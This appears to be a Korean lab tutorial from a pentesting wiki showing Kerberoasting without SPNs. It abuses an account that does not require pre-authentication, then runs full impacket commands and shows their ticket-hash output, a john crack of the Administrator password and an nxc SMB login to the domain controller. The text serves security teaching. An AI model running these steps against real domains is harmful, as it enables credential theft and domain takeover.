기본적으로 Kerberoasting 공격은 사용자에게 SPN이 한개라도 존재할 시에 서비스 관리자의 NT Hash로 암호화된 TGS를 발급받아 그것을 크래킹 하는 공격입니다. 즉 SPN이 존재하지 않는다면 요청할 티켓이 없다는 뜻입니다. 하지만 서비스 주체로 지정할 수 있는 유효한 계정이름 사전파일만 존재한다면 SPN을 대신하여 TGS 발급 요청이 가능합니다.
Benjamin Delpy, Ben Campbell, Alberto Solino 가 발표한 내용에 따르면 서비스 티켓을 발급했을 때, 이 티켓을 통해서 해당 주체가 실행하는 다른 서비스도 접근이 가능하다고 합니다.
커버로스 프로토콜의 구조를 보면 cname과 sname은 각기 다른 역할을 수행하지만 구조체는 동일한 것을 확인할 수 있습니다. Client Name과 Service Name의 구조체가 같고, SPN 이름이 사실은 아무런 효과도 없다면 Service Name에 Service Admin Name을 삽입했을 때 TGS가 발행되는지를 실험해보았고 이러한 공격이 성공되었습니다.
따라서 SPN이 존재하지 않는 상태에서 ASRep-Roasting에 취약하거나 유효한 계정 정보를 획득하여 도메인 내 유저 목록을 확보했다면 이 정보를 토대로 Kerberoasting 공격 시나리오가 가능합니다.
Practice
원활한 실습을 위해서 공격자는 이미 RID Cycling과 같은 방법을 통해서 도메인 내의 유효한 사용자 목록을 획득했다고 가정하고, users.txt 파일에 실제 도메인에 존재하는 계정들을 저장해두고 사용하겠습니다.
# 실습을 위한 서비스 등록
PS C:\Users\Administrator> New-Service -Name "ASREPTGT" -BinaryPathName "C:\Windows\System32\notepad.exe" -DisplayName "AS-Requested Service Ticket" -Description "A test service for Kerberos SPN" -StartupType Manual
# SPN 등록
PS C:\Users\Administrator> SetSPN -A ASREPTGT/PENTESTING.wiki Administrator
도메인에서 Administrator 계정으로 ASREPTGT라는 서비스를 생성하고 SPN으로 등록합니다. 획득했던 사용자 목록 파일인 users.txt를 이용하여 AS-REP-Roasting에 취약한 사용자 목록을 확인합니다.
└─# impacket-GetNPUsers pentesting/'' -usersfile users.txt -dc-ip 10.0.2.10
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$wiki@PENTESTING:a5b921dd8e24f535c0be983ebdca52a3$c348d23a0f8318fa2637c334b19979efaed50ba730cd4b69bfd5792be435909fc31af51a6977c97d0247457624f778fdee70eaa4a57ab04e2262d64e6b9cd1a7c09a951db020faa47c2a1a31b5a44212a9c7f1f4376a69ca47272de8b448471919027b963729523f3205d144a45e8c124b779910d90cf6984420d4c98e7aa73bd2e23cf16c96252106d7bd4fe8fcf811a137d1b338e05f2387a9ba500849e5e2e285a27adbccb4ad480f34b9262daa87565ade1404ec935f6e2da8e31d67fe023af1990191e36f5c2049a9ab1d95cb2b20dcaa9c3569822ed65ad395c2ba0fd20e0a182707a465e7a40c61f9e1
[-] User park doesn't have UF_DONT_REQUIRE_PREAUTH set
스캔 결과 wiki 계정에서 Do not require preauthentication 설정이 되어있음이 확인되었습니다. 유저 목록이 있기 때문에 SPN을 따로 지정하지 않고 유저 이름을 지정하여 유저의 이름으로 등록된 서비스가 있는지를 확인하는 커버로스팅 공격을 수행합니다.
└─# impacket-GetUserSPNs -no-preauth wiki -usersfile users.txt -dc-host 10.0.2.10 pentesting.wiki/
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
$krb5tgs$23$*Administrator$PENTESTING.WIKI$Administrator*$db249d3d63c9fb10bb04e82d657bd51b$9322acdcb727e9f8e09ae904f404a317a1dd50cb65f2b4e5c6f6556140b129818198c4e06e6250c6389c7d4744f9cdd0db2f57c5b0d3861a175137e1574eb435e9659a2d86d829c93c69e49eaa489051da95dd933670d1ac05c20c21e0ccd749b2d58f56f414c31d3107473fbfd391fbf922e8aefe433fb2f8db796e9b646c2550f91b135ba6e4692a4efd6d70165a780113aff7a6c41f500c894c30cd35f0ba52ebda17d454e00c8b88da8f56866eab694bd8888b7c48fffb1d52f91cd161fad345d4d04ff3f9771212ecad4a276ff9fd3e18bdf9e81962ae88cf63d3654cdd236aace1e6e29a731a79aa7585f2d5a4004ef912697fae6ce772c27bbc9973e2966be429d6603bf205b3923b11fd14e8f1852feeb264266e10e175b6668c34561ea53fe196cd26cd835c3388bdf265346d736f1d5908ccf60bfa05e0e014f863630f2675e8eeb1213017fe9c06dd75a66a9718e133ac62a4fbb032ad15f38cdd84142fad0c6c2215d634dbbb72ce312efd225f1aad4388c4a88ffb29b26595aed1b2389e17b1111ca05abd2c7cb3d416871debe54b9411725d73e5b27e6386c9777fc2e0d66cdd0cd745fa92e082824ef5fff3d95b097b623cb2d962b0c0124735e4f0db3ddc6f45bd2b9bb0c5ed45cacafda71e81572e8ebe6302bbbcc170ceadcc326f7272674b8330da54632a2a9c2a37afa132234da34825e3ed2241a02622158e0035fec92caf6ed922f8d965367edd3c3ab4ae250b0c1c3c1e76f6bf874491e59619437c5cc5acc34649cc77962a0fbea9b76486c7b3af7fe0e7e1e22d59bc1e48454fe04076a1558dc5736f9485e9454a916192a5d85f65d212361f3aa03b5d2a959475969ca510350d36f2ed0a424446226998b3eb3491a74e0e4eacbf20e76198ea0d66a4d1518e739862db4dfe9867c9b5947dd7b3fda2b66fa1c40bb4f0dfefa80a309421f8dc2e108aa2a5b3a4a779a63e5cd64524e0c8fa2ac326386d31df530f7b6cca46f921e38a28df4422aaa18963e52a0cbac9865dcc39d0d1c0ba266182780740885817792a7a19349378e910f2aa96601fba5f6c90878c7a5a2912d5b77228d56d1bd1ba610d60173f9f8119bcd0631cd013549b23de9e9e658bf88a8629899767313f58501b92ba6bab2b371469afaaf0a94ae2be12caa4ad4c2eaec727538d51e88043bf513a7a5c71b3b678e1dc7c3dff7f035ecd04f4ddbc0b7efce96fd84dac75253d7a3a5ddff768b3eb39603f2a1b12fadadd3e65226441331d46357c81d44a3c5e234bb945b1965941456f5c3999
[-] Principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$PENTESTING.WIKI$*krbtgt*$c52e4442ec3ed362ad74337b$025950fa4f42a96fb057db0085dcfe969edc307644b460ff1f6a5c23f394b365a260f271072c5cfbcd3e08d3b2ff5c6846648261b60d979e6431a0886b5f65d99189609db78db6473e672343c7502cec70b96c729975854bf49b535596224f840607de00a5228ebf999cfac9050ff336ce527d803fae5001f0ccf31317e7d6c9fb7a8f6bf7b8bd661d92852007b0ba830900b8f152da952e265c855874848b57531706c86fe1334024794ba99501f25aba2bd638a2aed284741baad03fa92e9fea241cc39b96ea30ebc64045f3f9c1c7e79a0a4d25ddc2b85fcbdc63a2593e66ea58d666b1d78d2c37f9845f93069bb35b460cd613f4b9192da22295ff958629ea2ff4a593680fc3cb00995404f24676e7a251f033913dbe8c2432f9d97a7b04f9a083833983dbe1283b25daa2d2ebca93160c06b7279e888d007ab50037f8ed1681e70bd06b78e04832fd1de99318eeb8e7d85a37f1511676aa5b6ad1b8743df1da2a0e5b697d1cb7223a14275090c58913110e1e665f645411f66f0960e2bea27cec0bd8d8d438306d5198fce1c12c48ba56409a9d9d78f692a0f581a9bd889f71214ab27098ae9a679b77b6926d67e3e79fd4ec1f60479892599692af9ad570b68f727a803d585af1db46f52e8aa7f7da8f4116534666e2d227adc582d90165b96b6d2b2da12564ae4aca03879b5b54509417b8abdfe61d3fd5b0ced3cac2f11f11fa894796d3fe3f8ce8fe29e3fb89a2521c669e7598ce682be9b94b52fc3d015f78c2e5d9ac8fba8a218ad88c6c11725c18536a1056f1eb5a136bcc428699d2ec8bac85c798d1a6cf433a1549b6de472414409b9347f9466566c7d8b0decc2f5bc60e15c5a9cd36bd7ba74e22d042970b8e370d25372975a73654c7ae86ad273d6635b7a97e9288f514bb2c86a46afc7bc4d0f35acc654b6c8946ee78b2b163df0af9f490a6ae145733adddce136af82316d413a8c5dc82c2a9ae02f17c24dba53c2c8e6b679f29057f2c05982ebe30817cf6d1b2dd2e9cbd4446b7b2c65ae3c3ea04500c9fb509905efe3468302dd2a0c55e5cab55b9359fd3284339c310a2c744dd61ee811fde4002e4e0e7e3ae8c44a5c600c6525d1359bac03e54dbb4fa55051acc9696da1c229cc1218990d6159366bb8893a2e9d47c407c1989351a5eceda0e504c918b7678c0d2550e137635e77006b03353cb123c4809a317e5dc06a1311212d279376ecef3455186b1a8fdfe501d47fa00693b99094305e6b48e6b01c520cdd24cf3841a638391b3790416c96f3571f0763e5f1f596a0f316d585ada25fd053161a6897bca
[-] Principal: DefaultAccount - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*wiki$PENTESTING.WIKI$wiki*$fbf63a6121eae262b4ceac2bfee4f6f1$ff6a7ca59fedf5277e30756b82b7fa8e06d4288992c6583ac916d90b83c8c1f07af489f5174ef183cd4028b79b7da004097c8eab5d414bf5af0a2d3016c30e625005000e09de26a33c3692b3a294bd1d00d663177e02b3ba9e50843554f23c2beb9e946e1d9574662e5e01891436a9b5d06d808608b60647e2cd92d017f2b84a9a6167a5d5f64aa8cb00ae27dfa6b738e0b0d08e7bb08f7f10155c3cef8ead39aba9ae61e662b2d87d2847c8aa07e4ab3f0ae85fff60d4e60008a3d9cfc87c80dd1c3652af4adde31aadee3f638a52c5e806c0e81a55d96bd60718dfbcf6d5253525c5b75e37ed1afdfd97c04a5e18b2cb6f8e02a50863b1e1ffc6f7bfe8e76950f1c4e9df4b6353933dec6186ade54241105f44e1403670e5357e435eaa73a6144d140e664a7d43f5ff86ad634da9cf3b9709a96e1bd7074b0d025fd74271b16284b9617d36d268800f38cb33e7045b9aed816e5e67f65e03b900004dd2e1f73a5f49076783c30d190c12fa7e3d87ea7051cfe36ca82a00755d886a240ee1f3b720f8759397054b15c196d344567bf43eb52a12a4d79e5b68224ad0a92c90c53da0267ddc7bb04b940b54fd4d1076d65cc0bf08d52af48d780b0adac41d101089329b2e4e620d9ab732f9cf71fe1630ee58d76909a7da83f4ae6dba23a1e06152073d2744540032c131d9136648b03329f306a334ce6f7fff6694e0a810b8ddf6a6f060c42383de2de8d9b7c9aec713775a32daacae04cd3615e944e3b89a89eef105b9d9f12a9f30f266f9d3987376f865c84a754f98033d5f83b7d00d75b4f124cde7e384e6baa408686db5f80b88d9af2da2f9e93f5ff20f6f36138e530d7b1afe87ddd79c2738012506a9b8a2d33acdf088503c7556bafb3c8a7c8765cca7ab402c249704c4c258374f5cb6e1ef3b7c1019f12ee4a56c4bbbcd486763eca4e54b316ebe04a23716b41e24595a2db635efdba098b981427e86e21273f70bcfcffc63ebe8f824a03f0d56e745e0a9fdc0d2be7d55b01363fddab94e59358184a6b3ae72c60fcf0fc381f11041aab3d5cb11b59c7ec19806fe3808c7a81486f8d2469b4fbf10e41c4616fec6a0ef373fd14adc5865c4076d145f04e3cb578d663f13aaa57777216776700911bc7e1673d467881a52037702033d1020383464e08c97ff3445209530529b63cc7cf36e7b8ed522084cab0b261590bdf4ec037717469b4e1b53ea6b9f4495d3326ff513c2f1f8ec8f3b3529f77d30015476d5072190f41194e8412fe5a084f2b1fb74e4d38c539389379a918f834517
[-] Principal: park - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
여러가지 계정이 나왔지만 실습에서는 Administrator 계정에 대해서만 크래킹을 진행합니다. Administrator의 패스워드를 일부러 취약한 password123!으로 지정했기 때문에 rockyou.txt 파일로 해쉬크래킹이 성공하고 SMB 접속에도 성공합니다.
└─# john --wordlist=/usr/share/wordlists/rockyou.txt DomainAdministrator.hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
password123! (?)
1g 0:00:00:12 DONE (2024-11-15 15:01) 0.08264g/s 395207p/s 395207c/s 395207C/s password142..password1228
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
└─# nxc smb 10.0.2.10 -u Administrator -p password123!
SMB 10.0.2.10 445 DC01 [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:pentesting.wiki) (signing:True) (SMBv1:True)
SMB 10.0.2.10 445 DC01 [+] pentesting.wiki\Administrator:password123! (Pwn3d!)
References
는 TGS를 서비스 주체 패스워드로 복호화를 시도했는데 복호화된 정보에서도 SPN에 관련된 데이터는 찾을 수 없었습니다. SPN을 구분할 수 있는 데이터가 없으니 다른 서비스 또한 이용이 가능하다는 의미입니다.